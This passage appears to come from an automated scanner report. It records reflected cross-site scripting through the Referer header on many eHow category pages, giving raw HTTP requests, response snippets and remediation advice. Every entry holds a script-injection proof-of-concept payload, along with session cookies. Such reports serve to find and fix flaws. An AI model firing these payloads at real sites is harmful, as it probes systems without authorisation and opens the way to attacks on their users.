GET /ajax/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=e3df8</script><script>alert(1)</script>1e4d372cf6c
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:15:21 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 60925
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8239f</script><script>alert(1)</script>b9c8de16e0a was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /arts-and-crafts/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=8239f</script><script>alert(1)</script>b9c8de16e0a
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:12:36 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 72207
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Arts & Crafts - How To Information | eHow.com</ti ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7b132</script><script>alert(1)</script>3c0febc8d3d was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /arts-and-entertainment/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=7b132</script><script>alert(1)</script>3c0febc8d3d
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:12:35 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 71928
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Arts & Entertainment - How To Information | eHow. ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e1952</script><script>alert(1)</script>8a38f022236 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /at-home/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=e1952</script><script>alert(1)</script>8a38f022236
Response (redirected)
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:17:36 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 49317
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title> eHow Home Blog | eHow.com </title>
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c3f97</script><script>alert(1)</script>8cdcd28db28 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /beauty-and-personal-care/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=c3f97</script><script>alert(1)</script>8cdcd28db28
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:12:36 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 73789
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Beauty & Personal Care - How To Information | eHo ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload da28b</script><script>alert(1)</script>c0d891d3e78 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /blog/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=da28b</script><script>alert(1)</script>c0d891d3e78
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:15:30 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 78995
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title> Official eHow Blog - How To Do Just About Every ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cc313</script><script>alert(1)</script>8cd44ec7a9c was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /business/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=cc313</script><script>alert(1)</script>8cd44ec7a9c
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:12:36 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 75446
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Business - How To Information | eHow.com</title> ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ba477</script><script>alert(1)</script>69ee7d46388 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /car-repair-and-maintenance/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=ba477</script><script>alert(1)</script>69ee7d46388
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:12:35 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 72871
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Car Repair & Maintenance - How To Information | e ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 64203</script><script>alert(1)</script>24a7a2730b1 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /careers/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=64203</script><script>alert(1)</script>24a7a2730b1
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:12:37 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 75713
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Careers - How To Information | eHow.com</title>
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5e0af</script><script>alert(1)</script>80dc93282ee was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cars/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=5e0af</script><script>alert(1)</script>80dc93282ee
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:12:36 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 70774
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Cars - How To Information | eHow.com</title> < ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ede99</script><script>alert(1)</script>0bc15203d14 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /community.html HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=ede99</script><script>alert(1)</script>0bc15203d14
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:15:30 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 31319
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 36b44</script><script>alert(1)</script>88e1c6f7fbf was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /computer-software/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=36b44</script><script>alert(1)</script>88e1c6f7fbf
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:12:35 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 73075
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Computer Software - How To Information | eHow.com ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 612c9</script><script>alert(1)</script>c3e385f1396 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /computers/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=612c9</script><script>alert(1)</script>c3e385f1396
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:12:36 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 75195
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Computers - How To Information | eHow.com</title> ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e6b00</script><script>alert(1)</script>a19869a9edb was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /culture-and-society/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=e6b00</script><script>alert(1)</script>a19869a9edb
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:12:36 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 72106
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Culture & Society - How To Information | eHow.com ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ccc5a</script><script>alert(1)</script>37e4ac73692 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /diseases-and-conditions/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=ccc5a</script><script>alert(1)</script>37e4ac73692
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:12:47 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 71359
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Diseases & Conditions - How To Information | eHow ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7f49e</script><script>alert(1)</script>3e4e9a8c938 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /drugs-and-supplements/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=7f49e</script><script>alert(1)</script>3e4e9a8c938
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:13:03 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 72768
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Drugs & Supplements - How To Information | eHow.c ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4db7f</script><script>alert(1)</script>d6aab24c643 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
